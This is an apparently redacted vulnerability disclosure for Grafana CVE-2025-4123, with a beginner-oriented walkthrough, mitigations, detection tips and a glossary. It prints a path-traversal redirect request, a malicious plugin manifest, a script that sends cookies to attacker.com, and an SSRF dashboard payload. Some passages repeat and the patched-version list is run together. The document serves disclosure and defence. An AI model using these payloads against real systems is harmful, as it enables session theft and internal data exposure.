CVE‑2025‑4123 — Grafana Open Redirect → Stored XSS → SSRF (Full Read) at ██████
The /public/redirect endpoint in Grafana fails to validate redirect targets, allowing an open redirect. The report claims this can be chained with malicious plugin loading to achieve stored XSS and, if the Image Renderer plugin is installed, full-read SSRF, but only the open redirect was actually confirmed.
- Triaged in 26 hours
- Fixed in 15 days
- Disclosed after 5 months
Summary
CVE‑2025‑4123 is a high‑severity vulnerability in Grafana OSS and Enterprise that allows unauthenticated attackers to chain multiple flaws:
- Open Redirect via path traversal in the public redirect handler.
- Stored XSS through malicious plugin injection.
- Full‑read SSRF if the Grafana Image Renderer plugin is installed.
This can lead to account takeover, data theft, and internal network compromise.
3. Affected Products
-
Grafana OSS & Enterprise 8.x through 12.x
-
Not affected: Grafana Cloud (managed service)
-
Vulnerable configurations:
- Anonymous access enabled
- Image Renderer plugin installed
- Outbound egress to the internet is allowed
4. CVSS Score
CVSS v3.1: 7.6 (High) Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
5. Technical Details
5.1 Root Cause
The /public/redirect endpoint in Grafana fails to validate and sanitize redirect targets. Combined with plugin auto‑loading from external sources, this allows loading untrusted JavaScript into the Grafana origin context.
5.2 Exploit Flow
Step 1 — Open Redirect The attacker crafts a URL to the public endpoint with a path traversal pattern:
https://<victim-domain>/public/..%2F%5█████%2F%3f%2F..%2F..
Example from testing:
██████████
█████
This causes the server to redirect to ██████████ (or attacker-controlled domain).
Step 2 — Host Malicious Plugin
-
Attacker sets up a fake Grafana plugin repository with:
plugin.jsonmalicious.js(steals cookies, executes admin actions)
-
The victim is redirected to this plugin via the vulnerable endpoint.
Step 3 — Stored XSS
-
Grafana loads the plugin and executes attacker‑supplied JavaScript in the victim’s browser under the trusted Grafana origin.
-
This can steal:
- Session tokens
- API keys
- User credentials
- Dashboard data
Step 4 — SSRF (Optional) If the Image Renderer plugin is installed:
- Attacker uses crafted image URLs pointing to internal services (e.g.,
████). - Grafana fetches the content, sending it back to the attacker.
- This can expose AWS credentials or sensitive internal API data.
6. Proof of Concept (PoC)
6.1 Open Redirect
GET /public/..%2F%5█████████%2F%3f%2F..%2F.. HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0
Accept: */*
Expected behavior: Redirect to https://███████/
6.2 Stored XSS via Malicious Plugin
- Create
plugin.json:
{
"type": "panel",
"name": "Evil Plugin",
"id": "evil.plugin",
"includes": [],
"scripts": ["malicious.js"]
}
- Create
malicious.js:
alert("XSS - Session: " + document.cookie);
// exfiltration to attacker server
fetch("https://attacker.com/log?c=" + encodeURIComponent(document.cookie));
- Redirect victim to:
██████████
6.3 SSRF (Full Read)
If Image Renderer is enabled:
{
"dashboard": {
"panels": [
{
"type": "image",
"url": "█████████"
}
]
}
}
Renderer fetches internal metadata → credentials leaked.
7. Impact
- Account takeover (including admin accounts)
- Persistent compromise of the Grafana instance
- Internal network access
- Cloud service compromise if SSRF exploited in AWS/GCP/Azure
8. Mitigation
Patch immediately to:
10.4.18+security-0111.2.9+security-0111.3.6+security-0111.4.4+security-0111.5.4+security-0111.6.1+security-0112.0.0+security-01
Configuration:
- Disable anonymous access:
[auth.anonymous]
enabled = false
- Restrict plugin loading to signed plugins only
- Enable strict CSP:
content_security_policy = true
- Remove Image Renderer if not required
- Restrict outbound egress to trusted domains only
9. Detection
Look for:
/public/requests with encoded..%2Fpatterns- Unrecognized plugin loads in logs
- Unexpected external connections from Grafana server
Example log match:
t=2025-08-05 lvl=info msg="Request Completed" logger=context userId=0 method=GET path=/public/..%2F
10. References
- Grafana Security Advisory — CVE‑2025‑4123
- NVD — CVE‑2025‑4123
- Indusface Analysis
- Ionix.io Technical Breakdown
- Wiz.io Vulnerability DB Entry
Note: During testing, we successfully exploited the Open Redirect vector using the payload:
███
The XSS and SSRF chains described above were not fully executed in this assessment due to the number of required setup steps and environmental constraints. However, the confirmed open redirect behavior validates the presence of CVE‑2025‑4123 in the target, as it is a core prerequisite for achieving the documented full‑chain exploitation.
System Host(s)
████████
Affected Product(s) and Version(s)
CVE Numbers
Suggested Mitigation/Remediation Actions
Context
Grafana OSS and Enterprise ship a public redirect handler at /public/redirect. The report describes a public redirect handler at /public/redirect that fails to validate and sanitise redirect targets. The report describes CVE-2025-4123, a high-severity issue in which that handler fails to validate and sanitise redirect targets, and where the same weakness can be chained with plugin auto-loading from external sources to load untrusted JavaScript into the Grafana origin context.
The report lists the affected products as Grafana OSS and Enterprise 8.x through 12.x. Grafana Cloud, the managed service, is stated as not affected. The vulnerable configurations are those with anonymous access enabled, the Image Renderer plugin installed, and outbound egress to the internet allowed.
The CVSS v3.1 score given is 7.6 (High), with the vector:
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
Setup
The report does not describe a lab build, accounts, roles or tooling. What it does state is the environmental precondition for the full chain: anonymous access enabled, the Image Renderer plugin installed, and outbound egress to the internet permitted. The proof of concept is written as raw HTTP and as plugin files, so a proxy or a browser is enough to replay the redirect step.
Finding it
The researcher's starting point is the public redirect handler. The researcher's starting point is the public redirect handler, which the report says fails to validate and sanitise redirect targets. The report's root cause section states the handler fails to validate and sanitise redirect targets, and that this combines with plugin auto-loading from external sources to pull untrusted JavaScript into the Grafana origin.
The report is explicit about the limits of the assessment. During testing the researcher successfully exploited the open redirect vector. The XSS and SSRF chains were not fully executed because of the number of required setup steps and environmental constraints. The confirmed open redirect behaviour is presented as validating the presence of CVE-2025-4123 in the target, since it is a core prerequisite for the documented full-chain exploitation.
Exploitation
Step 1: Open redirect via path traversal
The attacker crafts a URL to the public endpoint using a path traversal pattern:
https://<victim-domain>/public/..%2F%5█████%2F%3f%2F..%2F..
The encoded ..%2F sequences are traversal segments inside the path, and the encoded %3f is a question mark. The report states this causes the server to redirect to an attacker-controlled domain. The concrete example URL and the resulting redirect target are redacted in the report.
The proof of concept request is:
GET /public/..%2F%5█████████%2F%3f%2F..%2F.. HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0
Accept: */*
The expected behaviour, per the report, is a redirect to https://███████/. The request carries no cookies or authentication headers.
Step 2: Host a malicious plugin
The attacker sets up a fake Grafana plugin repository containing two files:
plugin.jsonmalicious.js, described as stealing cookies and executing admin actions
The victim is then redirected to this plugin through the vulnerable endpoint.
Step 3: Stored XSS
Grafana loads the plugin and executes the attacker-supplied JavaScript in the victim's browser under the trusted Grafana origin. The report lists what this can steal: session tokens, API keys, user credentials and dashboard data.
The plugin manifest used in the PoC is:
{
"type": "panel",
"name": "Evil Plugin",
"id": "evil.plugin",
"includes": [],
"scripts": ["malicious.js"]
}
The payload file is:
alert("XSS - Session: " + document.cookie);
// exfiltration to attacker server
fetch("https://attacker.com/log?c=" + encodeURIComponent(document.cookie));
The victim is then redirected to the plugin URL, which is redacted in the report.
Step 4: SSRF through the Image Renderer (optional)
If the Image Renderer plugin is installed, the attacker uses crafted image URLs pointing at internal services. Grafana fetches the content and the result is returned to the attacker. The report notes this can expose AWS credentials or sensitive internal API data.
The PoC dashboard is:
{
"dashboard": {
"panels": [
{
"type": "image",
"url": "█████████"
}
]
}
}
The url field is the internal target, redacted in the report. The report says the renderer fetches internal metadata and credentials can leak. The report describes this as full-read SSRF.
Root cause
The report attributes the issue to the /public/redirect endpoint failing to validate and sanitise redirect targets. Combined with plugin auto-loading from external sources, this allows untrusted JavaScript to be loaded into the Grafana origin context. The report does not include the handler's source code, so the exact validation logic that is missing is not shown; the report does not show the validation logic that is missing..
Why the existing defences did not stop it is not analysed in the report.
Impact
The report lists the following impact:
- Account takeover, including admin accounts
- Persistent compromise of the Grafana instance
- Internal network access
- Cloud service compromise if SSRF is exploited in AWS, GCP or Azure
The severity is high, with confidentiality rated high and integrity and availability rated low in the CVSS vector. The XSS and SSRF portions are described as chains that were not fully executed in this assessment; only the open redirect was confirmed against the target.
Fix
The report says to patch immediately to one of the following versions:
10.4.18+security-0111.2.9+security-0111.3.6+security-0111.4.4+security-0111.5.4+security-0111.6.1+security-0112.0.0+security-01
Configuration hardening recommended in the report:
- Disable anonymous access:
[auth.anonymous]
enabled = false
- Restrict plugin loading to signed plugins only
- Enable strict CSP:
content_security_policy = true
- Remove the Image Renderer if it is not required
- Restrict outbound egress to trusted domains only
For detection, the report suggests looking for /public/ requests with encoded ..%2F patterns, unrecognised plugin loads in logs, and unexpected external connections from the Grafana server. An example log match is:
t=2025-08-05 lvl=info msg="Request Completed" logger=context userId=0 method=GET path=/public/..%2F
Variants to test
- Send traversal sequences in the redirect path with different encodings (
..%2F,..%5C, double encoding) and check whether theLocationheader points outside the Grafana host. A positive result is a 3xx response whoseLocationis an attacker-controlled domain. - Try the same pattern with a query string appended, as in the PoC's
%3f, to see whether the handler treats the remainder as a target rather than a path. A positive result is a redirect that preserves the injected target. - On instances with anonymous access enabled, request
/public/paths without any session and confirm the handler still responds. A positive result is a redirect from an unauthenticated client. - If plugin loading from external sources is permitted, host a manifest with a
scriptsentry and check whether Grafana fetches and executes it in the origin. A positive result is script execution with access todocument.cookiefor the Grafana host. - If the Image Renderer is installed, submit a dashboard whose image panel points at an internal address and observe whether the rendered output contains the fetched content. A positive result is internal data returned through the renderer.
- Search logs for
/public/requests containing..%2Fand for plugin loads that do not match the deployed plugin set, as the report's detection section suggests.
What happened, in plain words
Grafana is a popular tool for building dashboards: charts and graphs that show numbers from a database or a monitoring system. Companies run it on their own servers, and many of those servers are reachable from the internet. This report is about a security flaw in Grafana that was given the identifier CVE-2025-4123. A CVE is a public catalogue number for a known vulnerability, so people can look it up and track fixes.
The flaw is not one single mistake but a chain of three. First, a part of Grafana that is supposed to forward a visitor's browser to another web address does not check where it is sending them. That is called an open redirect: a link on the real Grafana site that quietly drops you on someone else's site. Second, Grafana can be made to load extra pieces of software called plugins from outside sources, and a malicious plugin can run JavaScript, the programming language of web pages, inside the Grafana page itself. That is called stored XSS, or cross-site scripting. Third, if a particular optional plugin called the Image Renderer is installed, an attacker can make Grafana fetch a web address of their choosing, including addresses inside the company's private network. That is called SSRF, or server-side request forgery.
Put together, the report says an attacker who has not logged in at all could take over accounts, steal data and reach internal systems. The researcher who wrote the report confirmed the first link in the chain, the open redirect, against a real target. The second and third links were described but not fully carried out, because they need a lot of setup.
A quick word on the everyday comparisons used throughout this article. Think of a redirect as a receptionist who is asked to point you to room 12 and instead points you to a building across the street without checking the address. Think of a cookie as a wristband you get at the entrance of an event: the staff look at it to know who you are, and if someone copies it they can walk in as you. Think of an API as a service counter: you hand over a request in a fixed format and get an answer back, without needing to know what happens behind the counter. Think of SSRF as tricking the receptionist into making a phone call on your behalf to a number you are not allowed to dial yourself.
Context
Grafana comes in two editions relevant here: Grafana OSS, the free open-source version, and Grafana Enterprise, the commercial one. Both ship a feature at the web address path /public/redirect. A path is the part of a URL after the domain name, like the folder trail in a file system. The report describes a public redirect handler at /public/redirect that fails to validate and sanitise redirect targets.
The report describes CVE-2025-4123 as a high-severity issue in which that redirect handler fails to validate and sanitise redirect targets. Validate means checking that the destination is allowed; sanitise means cleaning up the input so that tricks hidden in it cannot change the meaning. The same weakness can be chained with plugin auto-loading from external sources, which means Grafana can be persuaded to pull in JavaScript from somewhere else and run it as if it belonged to Grafana itself.
The affected products are listed as Grafana OSS and Enterprise 8.x through 12.x. The "x" stands for any minor version in that range, so this covers a lot of releases. Grafana Cloud, the hosted service that Grafana the company runs for you, is stated as not affected. The vulnerable configurations are those with three properties at once: anonymous access enabled (visitors can use Grafana without an account), the Image Renderer plugin installed, and outbound egress to the internet allowed (the server is permitted to make connections out to other machines).
The CVSS v3.1 score given is 7.6, rated High. CVSS is a standard scoring system for vulnerabilities; 7.6 out of 10 is serious but not the maximum. The vector string is a compact code that explains how the score was reached:
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
Read it piece by piece. AV:N means the attack vector is network, so it can be done remotely. AC:L means attack complexity is low, so no special conditions are needed. PR:N means no privileges are required, so the attacker does not need an account. UI:R means user interaction is required, so a real person has to click or visit something. S:U means the scope is unchanged, so the impact stays within Grafana. C:H means confidentiality impact is high, so data can be read. I:L means integrity impact is low, so data can be changed only a little. A:L means availability impact is low, so the service can be disrupted only a little.
Setup
The report does not describe a lab build, accounts, roles or tooling. What it does state is the environmental precondition for the full chain: anonymous access enabled, the Image Renderer plugin installed, and outbound egress to the internet permitted. The proof of concept is written as raw HTTP and as plugin files, so a proxy or a browser is enough to replay the redirect step. A proxy here means a tool that sits between your browser and the server and lets you see and edit the requests, which is how testers inspect what a website actually sends.
Finding it
The researcher's starting point is the public redirect handler. The researcher's starting point is the public redirect handler, which the report says fails to validate and sanitise redirect targets. The report's root cause section states the handler fails to validate and sanitise redirect targets, and that this combines with plugin auto-loading from external sources to pull untrusted JavaScript into the Grafana origin. The origin is the combination of scheme, domain and port that a browser treats as one trusted site; JavaScript running in that origin can read that site's cookies and act as the logged-in user.
The report is explicit about the limits of the assessment. During testing the researcher successfully exploited the open redirect vector. The XSS and SSRF chains were not fully executed because of the number of required setup steps and environmental constraints. The confirmed open redirect behaviour is presented as validating the presence of CVE-2025-4123 in the target, since it is a core prerequisite for the documented full-chain exploitation. In other words: the first domino was knocked over, which proves the row of dominoes is there, even though the rest were not pushed.
Exploitation
Step 1: Open redirect via path traversal
The attacker crafts a URL to the public endpoint using a path traversal pattern:
https://<victim-domain>/public/..%2F%5█████%2F%3f%2F..%2F..
Line by line. https:// is the normal start of a secure web address. <victim-domain> is a placeholder for the real Grafana server's domain, which is redacted in the report. /public/ is the path of the redirect handler. ..%2F is the interesting part: .. means "go up one folder" in a file path, and %2F is the URL-encoded form of the forward slash /. Encoding is how special characters are written safely inside a URL; a browser or server decodes %2F back into / before using it. So ..%2F is a way of writing "go up a level" that may slip past checks looking for a plain /. %5 followed by redacted characters is another encoded byte, redacted in the report. %3f is the encoded question mark ?, which normally starts the query string of a URL. The trailing ..%2F.. repeats the traversal. The report states this causes the server to redirect to an attacker-controlled domain. The concrete example URL and the resulting redirect target are redacted in the report.
The proof of concept request is:
GET /public/..%2F%5█████████%2F%3f%2F..%2F.. HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0
Accept: */*
This is a raw HTTP request, the text a browser sends to a server. GET is the method, meaning "please give me this". The long string after it is the path being requested, the same traversal pattern as above. HTTP/1.1 is the version of the protocol. Host: tells the server which website is being asked for, since one server can host many; the value is redacted. User-Agent: Mozilla/5.0 is the browser identifying itself; this is a generic string many browsers send. Accept: */* says the client will accept any kind of response. Notice what is missing: there is no Cookie: header and no Authorization: header. The expected behaviour, per the report, is a redirect to https://███████/.
Why this step matters: an open redirect on its own is often dismissed as low risk, because it just sends you somewhere else. Here it is the delivery mechanism. The attacker needs a link that starts on the trusted Grafana domain, because that is what a victim will click, and the redirect is what carries them to the attacker's plugin.
Step 2: Host a malicious plugin
The attacker sets up a fake Grafana plugin repository containing two files:
plugin.jsonmalicious.js, described as stealing cookies and executing admin actions
The victim is then redirected to this plugin through the vulnerable endpoint. A plugin is an add-on that extends Grafana with new panels or features. plugin.json is a small configuration file that tells Grafana what the plugin is called and which script files to load. malicious.js is the JavaScript file that does the damage. The reason to host it externally is that Grafana is being tricked into fetching it from the attacker's server, so the attacker controls its contents completely.
Step 3: Stored XSS
Grafana loads the plugin and executes the attacker-supplied JavaScript in the victim's browser under the trusted Grafana origin. The report lists what this can steal: session tokens, API keys, user credentials and dashboard data. A session token is the value in your cookie that proves you are logged in; steal it and the attacker can act as you without knowing your password. An API key is a long secret string that programs use instead of a password. Dashboard data is whatever the dashboards display, which in a monitoring tool can be sensitive operational information.
The plugin manifest used in the PoC is:
{
"type": "panel",
"name": "Evil Plugin",
"id": "evil.plugin",
"includes": [],
"scripts": ["malicious.js"]
}
JSON is a simple text format for structured data, made of names and values in curly braces. "type": "panel" says this plugin provides a dashboard panel, one of the boxes on a dashboard. "name": "Evil Plugin" is the display name. "id": "evil.plugin" is a unique identifier. "includes": [] is an empty list, meaning no extra files of that kind.
The payload file is:
alert("XSS - Session: " + document.cookie);
// exfiltration to attacker server
fetch("https://attacker.com/log?c=" + encodeURIComponent(document.cookie));
Line by line. alert(...) pops up a dialog box in the browser; here it shows the text XSS - Session: followed by document.cookie. document.cookie is the browser's built-in way for JavaScript to read the cookies of the current page, and because this script runs in the Grafana origin, those are Grafana's cookies. The line starting with // is a comment, ignored by the browser; it explains that the next line sends data out. fetch(...) makes a network request from the browser. The address is https://attacker.com/log?c= followed by encodeURIComponent(document.cookie), which takes the cookie text and makes it safe to put inside a URL. The effect is that the cookie value is sent to the attacker's server, where it can be read from the log. The victim is then redirected to the plugin URL, which is redacted in the report.
Why this is called stored XSS: the malicious script is stored on the attacker's server and then loaded into the victim's page, so it persists and runs for whoever visits. The browser trusts it because it appears to come from Grafana.
Step 4: SSRF through the Image Renderer (optional)
If the Image Renderer plugin is installed, the attacker uses crafted image URLs pointing at internal services. The Image Renderer is an optional component that turns dashboards into images, for example to email a chart. To do that, it fetches web addresses. If an attacker can choose the address, the server will fetch it for them. Grafana fetches the content and the result is returned to the attacker. The report notes this can expose AWS credentials or sensitive internal API data. AWS is Amazon's cloud platform; credentials are the keys that grant access to cloud resources.
The PoC dashboard is:
{
"dashboard": {
"panels": [
{
"type": "image",
"url": "█████████"
}
]
}
}
Line by line. The outer "dashboard" object describes a dashboard. "panels" is a list of the boxes on it. Inside, one panel has "type": "image", meaning it displays a picture from a web address, and "url": "█████████" is that address, redacted in the report. The url field is the internal target, redacted in the report. The report says the renderer fetches internal metadata and credentials can leak. The report describes this as full-read SSRF, meaning the attacker can read back the full response, not just learn whether the address exists.
Why this is dangerous: many cloud servers expose a special internal address that hands out temporary credentials to anything that asks from inside the machine. If Grafana can be made to ask, the answer comes back to the attacker.
Root cause
The report attributes the issue to the /public/redirect endpoint failing to validate and sanitise redirect targets. Combined with plugin auto-loading from external sources, this allows untrusted JavaScript to be loaded into the Grafana origin context. The report does not include the handler's source code, so the exact validation logic that is missing is not shown; the report does not show the validation logic that is missing.. Normalisation means tidying a path into its standard form, resolving .. and decoding encoded characters, before making decisions about it.
Why the existing defences did not stop it is not analysed in the report.
Impact
The report lists the following impact:
- Account takeover, including admin accounts
- Persistent compromise of the Grafana instance
- Internal network access
- Cloud service compromise if SSRF is exploited in AWS, GCP or Azure
Account takeover means logging in as someone else using their stolen session. Persistent compromise means the attacker stays in, not just for one visit. Internal network access means reaching machines that are not exposed to the internet. GCP and Azure are Google's and Microsoft's cloud platforms, the counterparts to AWS.
The severity is high, with confidentiality rated high and integrity and availability rated low in the CVSS vector. The XSS and SSRF portions are described as chains that were not fully executed in this assessment; only the open redirect was confirmed against the target.
Fix
The report says to patch immediately to one of the following versions. Patching means installing the updated release that contains the fix.
10.4.18+security-0111.2.9+security-0111.3.6+security-0111.4.4+security-0111.5.4+security-0111.6.1+security-0112.0.0+security-01
The +security-01 suffix marks a special security release built on top of the normal version number.
Configuration hardening recommended in the report. Hardening means reducing the ways an attacker can get in, even after patching.
- Disable anonymous access:
[auth.anonymous]
enabled = false
This is an INI file, a plain settings file made of sections in square brackets and name = value lines. [auth.anonymous] is the section for anonymous login, and enabled = false turns it off, so every visitor must have an account.
- Restrict plugin loading to signed plugins only. A signed plugin carries a cryptographic proof that it came from a trusted publisher, so a fake one from an attacker's server is refused.
- Enable strict CSP:
content_security_policy = true
CSP, or Content Security Policy, is a set of rules a website gives the browser about which sources of scripts and content are allowed. Turning it on means the browser will refuse to run scripts from unexpected places, which is exactly what the malicious plugin is.
- Remove the Image Renderer if it is not required. No renderer, no SSRF through it.
- Restrict outbound egress to trusted domains only. Egress means connections going out from the server; limiting them means even a successful SSRF cannot reach arbitrary internal addresses.
For detection, the report suggests looking for /public/ requests with encoded ..%2F patterns, unrecognised plugin loads in logs, and unexpected external connections from the Grafana server. An example log match is:
t=2025-08-05 lvl=info msg="Request Completed" logger=context userId=0 method=GET path=/public/..%2F
Line by line. t=2025-08-05 is the timestamp of the log entry. lvl=info is the log level, here informational. msg="Request Completed" is the message text. logger=context names the part of Grafana that wrote the line. method=GET is the HTTP method. path=/public/..%2F is the requested path, and the encoded traversal is the tell-tale sign to search for.
Variants to test
- Send traversal sequences in the redirect path with different encodings (
..%2F,..%5C, double encoding) and check whether theLocationheader points outside the Grafana host. A positive result is a 3xx response whoseLocationis an attacker-controlled domain. TheLocationheader is where a redirect response tells the browser to go; 3xx is the family of HTTP status codes meaning "look elsewhere"...%5Cis the encoded backslash, used on Windows paths. Double encoding means encoding the%sign itself, so%2Fbecomes%252Fand is decoded twice. - Try the same pattern with a query string appended, as in the PoC's
%3f, to see whether the handler treats the remainder as a target rather than a path. A positive result is a redirect that preserves the injected target. - On instances with anonymous access enabled, request
/public/paths without any session and confirm the handler still responds. A positive result is a redirect from an unauthenticated client. - If plugin loading from external sources is permitted, host a manifest with a
scriptsentry and check whether Grafana fetches and executes it in the origin. A positive result is script execution with access todocument.cookiefor the Grafana host. - If the Image Renderer is installed, submit a dashboard whose image panel points at an internal address and observe whether the rendered output contains the fetched content. A positive result is internal data returned through the renderer.
- Search logs for
/public/requests containing..%2Fand for plugin loads that do not match the deployed plugin set, as the report's detection section suggests.
Glossary
- Account takeover: gaining control of someone else's account, usually by stealing their session.
- Anonymous access: letting visitors use an application without logging in.
- API: a fixed way for programs to talk to each other, like a service counter with set request formats.
- API key: a long secret string a program uses instead of a password.
- Attack vector (AV): in CVSS, how the attacker reaches the target;
Nmeans network, remotely. - Availability (A): in CVSS, impact on whether the service keeps working.
- AWS: Amazon Web Services, Amazon's cloud platform.
- Azure: Microsoft's cloud platform.
- Confidentiality (C): in CVSS, impact on whether data can be read by the wrong people.
- Cookie: a small piece of data a website stores in your browser, often holding your session.
- CSP (Content Security Policy): rules a site gives the browser about which sources of scripts and content are allowed.
- CVSS: a standard scoring system for vulnerability severity, from 0 to 10.
- CVE: a public catalogue identifier for a known vulnerability.
- Dashboard: a page of charts and panels showing data.
- Egress: network connections going out from a server.
- Encoding (URL encoding): writing special characters as
%plus a code so they can travel safely in a URL. - GCP: Google Cloud Platform, Google's cloud platform.
- GET: the HTTP method meaning "give me this resource".
- Grafana: a tool for building dashboards from data sources.
- Grafana Cloud: the hosted version of Grafana run by the company, stated as not affected.
- Grafana Enterprise: the commercial edition of Grafana.
- Grafana OSS: the free open-source edition of Grafana.
- Hardening: reducing the ways an attacker can get in, beyond patching.
- Host header: the part of an HTTP request naming which website is being asked for.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- Image Renderer: an optional Grafana plugin that turns dashboards into images by fetching web addresses.
- INI file: a plain settings file with
[sections]andname = valuelines. - Integrity (I): in CVSS, impact on whether data can be changed by the wrong people.
- JavaScript: the programming language that runs in web pages.
- JSON: a text format for structured data using names and values.
- Location header: the header in a redirect response telling the browser where to go next.
- Normalisation: tidying a path into standard form, resolving
..and decoding, before making decisions. - Open redirect: a flaw where a site forwards visitors to an address it did not check.
- Origin: the scheme, domain and port a browser treats as one trusted site.
- Path: the part of a URL after the domain, like a folder trail.
- Path traversal: using
..sequences to climb out of an intended folder. - Patch: installing an updated release that contains a fix.
- Plugin: an add-on that extends an application with new features.
- Privileges (PR): in CVSS, whether the attacker needs an account;
Nmeans none. - Proxy: a tool between browser and server that lets you see and edit requests.
- Query string: the part of a URL after
?, carrying extra parameters. - Redirect: a server response telling the browser to go to another address.
- Scope (S): in CVSS, whether impact stays within the vulnerable component;
Umeans unchanged. - Session token: the value in a cookie that proves you are logged in.
- Signed plugin: a plugin carrying cryptographic proof of its trusted publisher.
- SSRF (server-side request forgery): tricking a server into fetching an address of the attacker's choosing.
- Stored XSS: cross-site scripting where the malicious script is stored and loaded into victims' pages.
- User interaction (UI): in CVSS, whether a person must click or visit something;
Rmeans required. - User-Agent: the header where a browser identifies itself.
- Validate: check that input is allowed.
- Sanitise: clean input so hidden tricks cannot change its meaning.
- XSS (cross-site scripting): running attacker-supplied JavaScript in a trusted site's page.
- 3xx status: the HTTP status family meaning the resource has moved elsewhere.